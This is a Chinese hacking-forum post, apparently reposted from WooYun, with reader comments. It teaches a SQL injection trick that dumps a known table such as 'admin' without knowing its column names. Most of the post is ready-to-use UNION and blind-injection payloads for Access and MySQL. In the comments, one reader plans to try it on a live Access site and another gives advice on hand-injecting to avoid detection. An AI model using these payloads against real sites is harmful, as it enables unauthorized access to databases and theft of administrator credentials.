一个注入小技巧:利用子查询忽略字段名
之前在乌云发过,不知非首发还算不算原创
嗯。。其实我只是需要个发帖数来看帖子,一时间想不到发什么只能发个旧的了
---------
条件:已知表名,字段名未知,数据库本身支持子查询
对付access和mysql4.0.5以上比较有用,也可以用来偷懒,比如从各种ctf的flag表里面读数据
思路:在子查询里面写针对目标表的联合查询:第一个查询以常量为每一个字段占位,同时指定别名;紧随其后的联合查询查询目标表所有字段(*);最后对这个子查询的结果集进行联合查询或盲注。
例如有注入点:
select title,time,author,content from article where id={inject here}
先猜测admin表字段总数,在子查询中加入order by,999999999 为不存在的id:
select title,time,author,content from article where id=999999999
union select 1,2,3,4 from(
select * from admin order by 1
)
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin
select title,time,author,content from article where id=999999999
union select 1,2,3,
field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5
from(
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin
)
select title,time,author,content from article where id=999999999
union select 1 as x,2 as xx,3 as xxx,
Expr1000&'|'&Expr1001&'|'&Expr1002&'|'&Expr1003&'|'&Expr1004 as xxxx
from(
select 1,2,3,4,5 from admin where 1=2
union select * from admin
)
需要加条件的时候,再套一层子查询:
select title,time,author,content from article where id=999999999
union select 1,2,3,
field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(
select * from (
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin
) where field_1 not in (1)
)
select title,time,author,content from article where id=999999999 or(
select top 1 len(field_1) from(
select 1 as field_1,2,3,4,5
from admin where 1=2
union select * from admin
)
)>0
select title,time,author,content from article where id=999999999 or
iif(
(select top 1 len(field_1) from(
select 1 as field_1,2,3,4,5
from admin where 1=2
union select * from admin
)
)>0,
1,
(select 2 from multi_rows_table)
)=1
最后,部分数据库需要对子查询指定别名(access不用指定所以没写)。
“妈妈再也不担心我的access注入了!”
评论32次
之前有在乌云看到过就收藏了,楼主威武
小技巧真实用
我的意思是:你本地新建个access文件,然后新建查询来测试上面的语句 在注入点测试和在access的查询里面测试其实是一样的
thx, 我试试看
我的意思是:你本地新建个access文件,然后新建查询来测试上面的语句 在注入点测试和在access的查询里面测试其实是一样的
在access里面新建个查询,把语句执行一遍就明白了
再弱弱的问下,比如我拿到一个access注入点,怎么新建查询?
在access里面新建个查询,把语句执行一遍就明白了
我怎么没看懂喃? 实例有吗?
NB的一塌胡涂,收藏先。以后遇到再说。
另:任何工具都有其局限性,所以建议在任何情况下都进行手注,之后自己编写脚本 时间长了积累了多个针对特定类型的脚本或语句,之后再遇到就可以拿过来用,我自己是从来不用第三方工具的。 这样好处是所有的东西都是可以自己控制的,提交数据少,被发现的几率就小了 另一个好处是方便修改,比如说针对各种加密/编码注入(xor/base64/des/hex)等 坏处是最开始比较麻烦,但是跟好处相比几乎不值一提
只显示id是只跑出了id字段?还是用户名等字段跑出来了但是没有值? 如果是前者,参考本文所述手注 如果是后者,用hex函数等进行一次编码
谢谢学xi了,但是还想请教一个问题,当sqlmap可以跑出sql的数据库、表、但是跑不出用户名和密码。只显示一个id,该如何进行深入呀。
谢谢楼主分享!
赞!! 刚好想起来有个access的站,去找下有没注入点尝试下楼主的技巧
看过了。
access猜不到字段的能破了~
貌似access库的站不多了。。。备用。。。!
不错顶一个
乌云是管理员说了算,不登陆就能看的帖子都是管理员设置的
在乌云还设置权限 这样不好!
不错不错,学xi了 思路很重要